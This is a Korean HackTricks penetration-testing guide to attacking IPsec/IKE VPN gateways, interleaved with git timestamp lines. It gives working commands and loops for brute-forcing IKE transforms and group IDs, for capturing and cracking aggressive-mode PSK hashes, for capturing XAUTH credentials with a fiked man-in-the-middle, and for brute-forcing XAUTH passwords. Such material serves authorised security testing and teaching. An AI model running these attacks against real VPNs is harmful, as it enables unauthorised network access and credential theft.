2024-03-09 13:39:11 +00:00
# 500/udp - IPsec/IKE VPN Pentesting
2022-04-28 16:01:33 +00:00
< details >
2024-03-09 13:39:11 +00:00
< summary > < strong > AWS 해킹을 처음부터 전문가까지 배우세요< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-03-09 13:39:11 +00:00
다른 HackTricks 지원 방법:
2024-01-03 10:42:55 +00:00
2024-03-09 13:39:11 +00:00
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제** ](https://github.com/sponsors/carlospolop )를 확인하세요!
* [**공식 PEASS & HackTricks 굿즈** ](https://peass.creator-spring.com )를 구매하세요
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )를 발견하세요, 당사의 독점 [**NFTs** ](https://opensea.io/collection/the-peass-family ) 컬렉션
2024-03-14 23:45:38 +00:00
* **💬 [Discord 그룹 ](https://discord.gg/hRep4RUj7f )** 또는 [텔레그램 그룹 ](https://t.me/peass )에 **가입**하거나 **트위터** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )을 **팔로우**하세요.
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
2022-04-28 16:01:33 +00:00
2023-08-30 09:07:26 +00:00
< / details >
2022-04-28 16:01:33 +00:00
2024-03-14 23:45:38 +00:00
**Try Hard Security Group**
< figure > < img src = "../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt = "" > < figcaption > < / figcaption > < / figure >
{% embed url="https://discord.gg/tryhardsecurity" %}
***
2024-02-10 21:30:13 +00:00
## 기본 정보
2020-07-15 15:43:14 +00:00
2024-03-14 23:45:38 +00:00
**IPsec**은 네트워크 간 통신 (LAN-to-LAN) 및 원격 사용자가 네트워크 게이트웨이에 연결하는 데 사용되는 주요 기술로 인식되며 기업 VPN 솔루션의 기반 역할을 합니다.
2024-02-08 21:36:15 +00:00
2024-03-14 23:45:38 +00:00
두 지점 간의 **보안 연결 (SA)** 설정은 **IKE**에 의해 관리되며, 이는 인증 및 키 교환을 위해 설계된 프로토콜인 ISAKMP의 범주에서 작동합니다. 이 프로세스는 여러 단계로 진행됩니다:
2020-07-15 15:43:14 +00:00
2024-03-14 23:45:38 +00:00
- **Phase 1:** 두 지점 간에 안전한 채널이 생성됩니다. 이는 사전 공유 키 (PSK) 또는 인증서를 사용하여 main mode 또는 **aggressive mode**를 사용하여 세 쌍의 메시지를 포함하는 것으로 달성됩니다.
- **Phase 1.5:** 필수는 아니지만, 이 단계는 확장 인증 단계로, 연결을 시도하는 사용자의 신원을 확인하기 위해 사용자 이름과 암호를 요구합니다.
- **Phase 2:** 이 단계는 **ESP** 및 **AH**로 데이터 보안 매개변수를 협상하는 데 전념합니다. **Perfect Forward Secrecy (PFS)**를 보장하기 위해 Phase 1과 다른 알고리즘을 사용할 수 있어 보안을 강화합니다.
2020-07-15 15:43:14 +00:00
2024-02-10 21:30:13 +00:00
**기본 포트:** 500/udp
2020-07-15 15:43:14 +00:00
2024-03-14 23:45:38 +00:00
## nmap을 사용하여 서비스 발견하기
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT STATE SERVICE
500/udp open isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
```
2024-02-10 21:30:13 +00:00
## **유효한 변환 찾기**
2020-07-15 15:43:14 +00:00
2024-03-09 13:39:11 +00:00
IPSec 구성은 하나 또는 몇 가지 변환만 허용하도록 준비될 수 있습니다. 변환은 값들의 조합입니다. **각 변환**에는 DES 또는 3DES와 같은 **암호화 알고리즘** , SHA 또는 MD5와 같은 **무결성 알고리즘** , 사전 공유 키와 같은 **인증 유형** , Diffie-Hellman 1 또는 2와 같은 키 **분배 알고리즘** , 그리고 28800초와 같은 **수명**이 포함됩니다.
2020-07-15 15:43:14 +00:00
2024-03-14 23:45:38 +00:00
그런 다음 해야 할 첫 번째 일은 **유효한 변환을 찾는 것**입니다. 이렇게 하면 서버가 당신과 통신할 수 있습니다. 이를 위해 **ike-scan** 도구를 사용할 수 있습니다. 기본적으로 Ike-scan은 메인 모드에서 작동하며, ISAKMP 헤더와 **여덟 개의 변환을 포함한 단일 제안이 있는 패킷을 게이트웨이로 보냅니다** .
2020-07-15 15:43:14 +00:00
2024-02-10 21:30:13 +00:00
응답에 따라 엔드포인트에 대한 일부 정보를 얻을 수 있습니다:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
2024-02-10 21:30:13 +00:00
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
2020-07-15 15:43:14 +00:00
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
```
2024-03-14 23:45:38 +00:00
이전 응답에서 볼 수 있듯이 **AUTH**라는 필드가 있고 값은 **PSK**입니다. 이는 VPN이 사전 공유 키를 사용하여 구성되어 있다는 것을 의미합니다 (이는 펜테스터에게 매우 유용합니다).\
**마지막 줄의 값 또한 매우 중요합니다:**
2020-07-15 15:43:14 +00:00
2024-02-10 21:30:13 +00:00
* _0 returned handshake; 0 returned notify:_ 이는 대상이 **IPsec 게이트웨이가 아님**을 의미합니다.
2024-03-09 13:39:11 +00:00
* _**1 returned handshake; 0 returned notify:**_ 이는 **대상이 IPsec로 구성되어 있고 IKE 협상을 수행할 의사가 있으며 제안한 변환 중 하나 이상이 허용되는 경우**입니다 (유효한 변환은 출력에 표시됩니다).
* _0 returned handshake; 1 returned notify:_ VPN 게이트웨이는 **허용되는 변환 없을 때** 알림 메시지로 응답합니다 (일부 게이트웨이는 그렇지 않을 수도 있으며, 이 경우 추가 분석 및 수정된 제안이 필요합니다).
2020-07-15 15:43:14 +00:00
2024-03-14 23:45:38 +00:00
따라서, 이 경우 이미 유효한 변환이 있지만 3번째 경우에 있다면, **유효한 변환을 찾기 위해 약간의 브루트 포스가 필요합니다:**
2020-07-15 15:43:14 +00:00
2024-03-09 13:39:11 +00:00
먼저 모든 가능한 변환을 생성해야 합니다:
2020-07-15 15:43:14 +00:00
```bash
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
```
2024-03-09 13:39:11 +00:00
그런 다음 ike-scan을 사용하여 각각 브루트 포스 공격을 수행합니다 (이 작업은 몇 분 정도 소요될 수 있습니다):
2020-07-15 15:43:14 +00:00
```bash
while read line; do (echo "Valid trans found: $line" & & sudo ike-scan -M $line < IP > ) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
```
2024-03-14 23:45:38 +00:00
만약 브루트 포스가 작동하지 않는다면, 서버가 유효한 변환에도 핸드셰이크 없이 응답하는 것일 수 있습니다. 그럴 때는 동일한 브루트 포스를 사용하되 공격적 모드를 사용해 볼 수 있습니다:
2020-07-15 15:43:14 +00:00
```bash
while read line; do (echo "Valid trans found: $line" & & ike-scan -M --aggressive -P handshake.txt $line < IP > ) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
```
2024-03-09 13:39:11 +00:00
희망적으로 **유효한 변환**이 다시 에코됩니다.\
동일한 공격을 시도할 수 있습니다 [**iker.py** ](https://github.com/isaudits/scripts/blob/master/iker.py )를 사용하여.\
2024-03-14 23:45:38 +00:00
또한 [**ikeforce** ](https://github.com/SpiderLabs/ikeforce )를 사용하여 변환을 브루트 포스할 수도 있습니다:
2020-07-15 15:43:14 +00:00
```bash
2021-11-24 16:49:46 +00:00
./ikeforce.py < IP > # No parameters are required for scan -h for additional help
2020-07-15 15:43:14 +00:00
```
2021-10-18 11:21:18 +00:00
![](< .. / . gitbook / assets / image ( 109 ) . png > )
2020-07-15 15:43:14 +00:00
2024-02-10 21:30:13 +00:00
**DH 그룹: 14 = 2048-bit MODP** 및 **15 = 3072-bit** \
2024-03-09 13:39:11 +00:00
**2 = HMAC-SHA = SHA1 (이 경우). `--trans` 형식은 $Enc,$Hash,$Auth,$DH**
2020-07-15 15:43:14 +00:00
2024-03-14 23:45:38 +00:00
시스코는 DH 그룹 1과 2를 사용하지 말라고 지적합니다. 이 그룹들은 충분히 강력하지 않기 때문입니다. 전문가들은 **자원이 많은 국가들이** 이러한 약한 그룹을 사용하는 데이터의 암호화를 쉽게 해독할 수 있다고 믿습니다. 이는 이러한 강력한 국가들이 코드를 빠르게 해독할 수 있도록 준비하는 특별한 방법을 사용함으로써 이루어집니다. 이 방법을 설정하는 데 많은 비용이 소요되지만, 이를 통해 이러한 강력한 국가들이 암호화된 데이터를 실시간으로 읽을 수 있게 됩니다(그룹이 강력하지 않은 경우, 예: 1,024-bit 또는 그 이하).
2020-07-15 15:43:14 +00:00
2024-03-09 13:39:11 +00:00
### 서버 fingerprinting
2020-07-15 15:43:14 +00:00
2024-03-14 23:45:38 +00:00
그런 다음, ike-scan을 사용하여 장치의 **벤더를 발견**할 수 있습니다. 이 도구는 초기 제안을 보내고 다시 재생을 중지합니다. 그런 다음, 서버로부터 수신된 메시지와 일치하는 응답 패턴 사이의 **시간 차이**를 **분석**함으로써, 펜테스터는 VPN 게이트웨이 벤더를 성공적으로 fingerprinting할 수 있습니다. 더 나아가, 일부 VPN 서버는 IKE와 함께 선택적으로 **Vendor ID (VID) 페이로드**를 사용할 수 있습니다.
2020-07-15 15:43:14 +00:00
2024-03-14 23:45:38 +00:00
필요한 경우 유효한 변환을 지정하십시오(--trans 사용)
2020-07-15 15:43:14 +00:00
2024-03-14 23:45:38 +00:00
IKE가 벤더를 발견하면 이를 출력합니다:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
2024-02-10 21:30:13 +00:00
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
2020-07-15 15:43:14 +00:00
IKE Backoff Patterns:
2024-02-10 21:30:13 +00:00
2020-07-15 15:43:14 +00:00
IP Address No. Recv time Delta Time
172.16.21.200 1 1322286031.744904 0.000000
172.16.21.200 2 1322286039.745081 8.000177
172.16.21.200 3 1322286047.745989 8.000908
172.16.21.200 4 1322286055.746972 8.000983
172.16.21.200 Implementation guess: Cisco VPN Concentrator
2024-02-10 21:30:13 +00:00
2020-07-15 15:43:14 +00:00
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
```
2024-03-14 23:45:38 +00:00
이 작업은 nmap 스크립트 _**ike-version**_을 사용하여 수행할 수도 있습니다.
2020-07-15 15:43:14 +00:00
2024-02-10 21:30:13 +00:00
## 올바른 ID(그룹 이름) 찾기
2020-07-15 15:43:14 +00:00
2024-03-14 23:45:38 +00:00
해시를 캡처할 수 있도록 허용받으려면 적극적 모드를 지원하고 올바른 ID(그룹 이름)를 가져야 합니다. 올바른 그룹 이름을 알지 못할 가능성이 높기 때문에 브루트 포스해야 합니다.\
이를 위해 2가지 방법을 권장합니다:
2020-07-15 15:43:14 +00:00
2024-03-09 13:39:11 +00:00
### ike-scan을 사용한 ID 브루트 포싱
2020-07-15 15:43:14 +00:00
2024-03-14 23:45:38 +00:00
먼저 해시를 수집하려는 가짜 ID로 요청을 시도해 보세요 ("-P"):
2020-07-15 15:43:14 +00:00
```bash
ike-scan -P -M -A -n fakeID < IP >
```
2024-03-14 23:45:38 +00:00
만약 **해시가 반환되지 않는다면** , 그 때 브루트 포싱 방법이 작동할 것입니다. **만약 어떤 해시가 반환된다면, 이는 가짜 ID에 대해 가짜 해시가 다시 전송될 것이므로 이 방법은 ID를 브루트 포싱하는 데 신뢰할 수 없게 될 것**입니다. 예를 들어, 가짜 해시가 반환될 수 있습니다 (이는 최신 버전에서 발생합니다):
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
![](< .. / . gitbook / assets / image ( 110 ) . png > )
2020-07-15 15:43:14 +00:00
2024-03-09 13:39:11 +00:00
하지만 제가 말한대로, 해시가 반환되지 않는다면, ike-scan을 사용하여 일반 그룹 이름을 브루트 포싱해 보아야 합니다.
2020-07-15 15:43:14 +00:00
2024-03-14 23:45:38 +00:00
이 스크립트는 **가능한 ID를 브루트 포싱하려고 시도**하고 유효한 핸드셰이크가 반환된 ID를 반환할 것입니다 (이는 유효한 그룹 이름일 것입니다).
2020-07-15 15:43:14 +00:00
2024-03-14 23:45:38 +00:00
특정 변환을 발견했다면 ike-scan 명령에 추가하십시오. 그리고 여러 변환을 발견했다면 모두 시도해 보기 위해 새로운 루프를 추가하십시오 (하나가 올바르게 작동할 때까지 모두 시도해야 합니다).
2020-07-15 15:43:14 +00:00
2024-03-09 13:39:11 +00:00
[ikeforce의 사전 ](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic ) 또는 [seclists의 사전 ](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt )을 사용하여 일반 그룹 이름을 브루트 포싱할 수 있습니다:
2020-07-15 15:43:14 +00:00
```bash
2021-01-18 14:24:10 +00:00
while read line; do (echo "Found ID: $line" & & sudo ike-scan -M -A -n $line < IP > ) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
2020-07-15 15:43:14 +00:00
```
2024-03-09 13:39:11 +00:00
### Iker를 사용하여 ID 무차별 대입
2020-07-15 15:43:14 +00:00
2024-03-14 23:45:38 +00:00
[**iker.py** ](https://github.com/isaudits/scripts/blob/master/iker.py )은 가능한 그룹 이름을 무차별 대입하기 위해 **ike-scan**을 사용합니다. **ike-scan의 출력을 기반으로 유효한 ID를 찾는 자체 방법을 따릅니다** .
2020-07-15 15:43:14 +00:00
2024-03-09 13:39:11 +00:00
### ikeforce를 사용하여 ID 무차별 대입
2020-07-15 15:43:14 +00:00
2024-03-14 23:45:38 +00:00
[**ikeforce.py** ](https://github.com/SpiderLabs/ikeforce )는 또한 **ID를 무차별 대입하는 데 사용할 수 있는 도구**입니다. 이 도구는 **다양한 취약점을 악용하려고 시도**할 것입니다. 이는 **유효한 ID와 유효하지 않은 ID를 구분하는 데 사용될 수 있는 다양한 취약점을 시도**할 것입니다 (가짜 양성 및 가짜 음성이 발생할 수 있으므로 가능한 경우 ike-scan 방법을 사용하는 것을 선호합니다).
2020-07-15 15:43:14 +00:00
2024-03-09 13:39:11 +00:00
기본적으로 **ikeforce**는 서버의 동작을 확인하고 사용할 전략을 결정하기 위해 처음에 일부 무작위 ID를 보냅니다.
2020-07-15 15:43:14 +00:00
2024-03-09 13:39:11 +00:00
* **첫 번째 방법**은 Cisco 시스템의 **Dead Peer Detection DPD 정보를 찾아** 그룹 이름을 무차별 대입하는 것입니다 (이 정보는 그룹 이름이 올바른 경우에만 서버에서 재생됩니다).
* 사용 가능한 **두 번째 방법**은 각 시도에 보낸 응답 수를 **확인**하는 것입니다. 때로는 올바른 ID를 사용할 때 더 많은 패킷이 전송됩니다.
* **세 번째 방법**은 **잘못된 ID에 대한 응답에서 "INVALID-ID-INFORMATION"을 찾는 것**입니다.
2024-03-14 23:45:38 +00:00
* 마지막으로, 서버가 확인을 위해 아무것도 응답하지 않는 경우, **ikeforce**는 서버를 무차별 대입하고 올바른 ID가 전송될 때 서버가 패킷을 재생하는지 확인할 것입니다.\
명백히, ID를 무차별 대입하는 목표는 유효한 ID가 있는 경우 **PSK를 얻는 것**입니다. 그런 다음 **id**와 **PSK**를 사용하여 XAUTH를 무차별 대입해야 합니다.
2020-07-15 15:43:14 +00:00
2024-03-14 23:45:38 +00:00
특정 변환을 발견했다면 ikeforce 명령에 추가하십시오. 여러 변환을 발견했다면 모두 시도하기 위해 새 루프를 추가하십시오 (하나가 올바르게 작동할 때까지 모두 시도해야 합니다).
2020-07-15 15:43:14 +00:00
```bash
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
```
```bash
./ikeforce.py < IP > -e -w ./wordlists/groupnames.dic
```
2024-02-10 21:30:13 +00:00
### ID 스니핑
2020-07-15 15:43:14 +00:00
2024-03-09 13:39:11 +00:00
(책 **네트워크 보안 평가: 네트워크 파악하기**에서): VPN 클라이언트와 서버 간 연결을 스니핑하여 클라이언트 ID를 포함하는 첫 번째 공격적 모드 패킷을 평문으로 얻을 수도 있습니다.
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
![](< .. / . gitbook / assets / image ( 111 ) . png > )
2020-07-15 15:43:14 +00:00
2024-02-10 21:30:13 +00:00
## 해시 캡처 및 크래킹
2020-07-15 15:43:14 +00:00
2024-03-14 23:45:38 +00:00
마지막으로, **유효한 변환**과 **그룹 이름**을 찾았으며 **공격적 모드가 허용된 경우** , 쉽게 크래킹할 수 있는 해시를 캡처할 수 있습니다:
2020-07-15 15:43:14 +00:00
```bash
ike-scan -M -A -n < ID > --pskcrack=hash.txt < IP > #If aggressive mode is supported and you know the id, you can get the hash of the passwor
```
2024-03-14 23:45:38 +00:00
해시는 _hash.txt_ 파일 내에 저장됩니다.
2020-07-15 15:43:14 +00:00
2024-03-14 23:45:38 +00:00
해시를 **크랙**하기 위해 **psk-crack** , **john** ([**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)를 사용하여) 및 **hashcat**을 사용할 수 있습니다:
2021-01-18 14:26:55 +00:00
```bash
2022-01-12 14:33:12 +00:00
psk-crack -d < Wordlist_path > psk.txt
2020-07-15 15:43:14 +00:00
```
2023-08-30 09:07:26 +00:00
## **XAuth**
2020-07-15 15:43:14 +00:00
2024-03-14 23:45:38 +00:00
**공격적 모드 IKE**는 일반적으로 **사용자 그룹 인증**을 위해 **사전 공유 키 (PSK)**와 결합됩니다. 이 방법은 **확장 인증(XAuth)**에 의해 보완되며, 이는 추가적인 **사용자 인증** 계층을 도입합니다. 이러한 인증은 일반적으로 **Microsoft Active Directory** , **RADIUS** 또는 유사한 시스템과 같은 서비스를 활용합니다.
2024-02-08 21:36:15 +00:00
2024-03-14 23:45:38 +00:00
**IKEv2**로 전환하면 **EAP (확장 가능 인증 프로토콜)**이 **XAuth** 대신 사용자를 인증하는 데 사용되는 것을 볼 수 있습니다. 이 변경은 안전한 통신 프로토콜 내에서 인증 방법의 진화를 강조합니다.
2024-02-08 21:36:15 +00:00
2020-07-15 15:43:14 +00:00
2024-03-09 13:39:11 +00:00
### 로컬 네트워크 MitM을 사용하여 자격 증명 캡처
2020-07-15 15:43:14 +00:00
2024-03-14 23:45:38 +00:00
따라서 _fiked_를 사용하여 로그인 데이터를 캡처하고 기본 사용자 이름이 있는지 확인할 수 있습니다 (스니핑을 위해 IKE 트래픽을 `fiked` 로 리디렉션해야 하며, 이는 ARP 스푸핑을 통해 수행할 수 있습니다, [자세한 정보 ](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/ )). Fiked는 VPN 엔드포인트로 작동하며 XAuth 자격 증명을 캡처할 것입니다:
2021-01-18 14:26:55 +00:00
```bash
2020-07-15 15:43:14 +00:00
fiked -g < IP > -k testgroup:secretkey -l output.txt -d
```
2024-03-09 13:39:11 +00:00
### IPSec를 사용하여 MitM 공격을 시도하고 포트 500으로의 모든 트래픽을 차단해보세요. IPSec 터널을 설정할 수 없다면 트래픽이 평문으로 전송될 수 있습니다.
2020-07-15 15:43:14 +00:00
2024-03-09 13:39:11 +00:00
### ikeforce를 사용하여 XAUTH 사용자 이름과 암호 무차별 대입 공격
2020-07-15 15:43:14 +00:00
2024-03-09 13:39:11 +00:00
**XAUTH**를 무차별 대입 공격하기 위해 (유효한 그룹 이름 **id**와 **psk**를 알고 있는 경우) 사용자 이름 또는 사용자 이름 목록과 암호 목록을 사용할 수 있습니다:
2021-01-18 14:26:55 +00:00
```bash
2020-07-15 15:43:14 +00:00
./ikeforce.py < IP > -b -i < group_id > -u < username > -k < PSK > -w < passwords.txt > [-s 1]
```
2024-03-09 13:39:11 +00:00
이 방법으로, ikeforce는 각 username:password 조합을 사용하여 연결을 시도할 것입니다.
2020-07-15 15:43:14 +00:00
2024-03-09 13:39:11 +00:00
하나 이상의 유효한 변환을 찾았다면, 이전 단계와 같이 사용하십시오.
2020-07-15 15:43:14 +00:00
2024-02-10 21:30:13 +00:00
## IPSEC VPN으로의 인증
2020-07-15 15:43:14 +00:00
2024-03-14 23:45:38 +00:00
Kali에서 **VPNC**는 IPsec 터널을 설정하는 데 사용됩니다. **프로필**은 `/etc/vpnc/` 디렉토리에 위치해야 합니다. 이러한 프로필은 _**vpnc**_ 명령을 사용하여 시작할 수 있습니다.
2024-02-05 02:29:11 +00:00
2024-03-09 13:39:11 +00:00
다음 명령어와 구성은 VPNC를 사용하여 VPN 연결을 설정하는 과정을 설명합니다:
2024-02-05 02:29:11 +00:00
```bash
root@system:~# cat > /etc/vpnc/samplevpn.conf < < STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
2020-07-15 15:43:14 +00:00
IKE Authmode psk
2024-02-05 02:29:11 +00:00
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
2020-07-15 15:43:14 +00:00
STOP
2024-02-05 02:29:11 +00:00
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0
2020-07-15 15:43:14 +00:00
```
2024-02-10 21:30:13 +00:00
이 설정에서:
2020-07-15 15:43:14 +00:00
2024-03-09 13:39:11 +00:00
- `[VPN_GATEWAY_IP]` 를 VPN 게이트웨이의 실제 IP 주소로 대체합니다.
- `[VPN_CONNECTION_ID]` 를 VPN 연결의 식별자로 대체합니다.
- `[VPN_GROUP_SECRET]` 를 VPN 그룹 비밀로 대체합니다.
- `[VPN_USERNAME]` 및 `[VPN_PASSWORD]` 를 VPN 인증 자격 증명으로 대체합니다.
- `vpnc` 가 시작될 때 할당되는 프로세스 ID를 나타내는 `[PID]` 를 대체합니다.
2024-02-05 02:29:11 +00:00
2024-03-09 13:39:11 +00:00
VPN 구성 시 플레이스홀더를 실제 안전한 값으로 대체하는 것을 확인하십시오.
2024-02-05 02:29:11 +00:00
2024-02-10 21:30:13 +00:00
## 참고 자료
2020-07-15 15:43:14 +00:00
2024-02-10 21:30:13 +00:00
* [PSK 크래킹 논문 ](http://www.ernw.de/download/pskattack.pdf )
2020-07-15 15:43:14 +00:00
* [SecurityFocus Infocus ](http://www.securityfocus.com/infocus/1821 )
2024-03-09 13:39:11 +00:00
* [VPN 구현 스캔 ](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf )
2024-02-05 02:29:11 +00:00
* Network Security Assessment 3rd Edition
2020-07-15 15:43:14 +00:00
2023-08-30 09:07:26 +00:00
## Shodan
2020-10-05 13:59:40 +00:00
* `port:500 IKE`
2022-04-28 16:01:33 +00:00
2024-03-14 23:45:38 +00:00
**Try Hard Security Group**
< figure > < img src = "../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt = "" > < figcaption > < / figcaption > < / figure >
{% embed url="https://discord.gg/tryhardsecurity" %}
2023-08-30 09:07:26 +00:00
< details >
2022-04-28 16:01:33 +00:00
2024-03-14 23:45:38 +00:00
< summary > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > 를 통해 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요!< / summary >
2022-04-28 16:01:33 +00:00
2024-02-10 21:30:13 +00:00
HackTricks를 지원하는 다른 방법:
2024-01-03 10:42:55 +00:00
2024-03-14 23:45:38 +00:00
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**구독 요금제** ](https://github.com/sponsors/carlospolop )를 확인하세요!
2024-03-09 13:39:11 +00:00
* [**공식 PEASS & HackTricks 스왜그** ](https://peass.creator-spring.com )를 구입하세요
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )를 발견하세요, 당사의 독점 [**NFTs** ](https://opensea.io/collection/the-peass-family ) 컬렉션
2024-03-14 23:45:38 +00:00
* **💬 [**디스코드 그룹** ](https://discord.gg/hRep4RUj7f ) 또는 [**텔레그램 그룹** ](https://t.me/peass )에 가입하거나**트위터** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )를 팔로우하세요.
* **HackTricks** 및 [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks ) 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
2022-04-28 16:01:33 +00:00
< / details >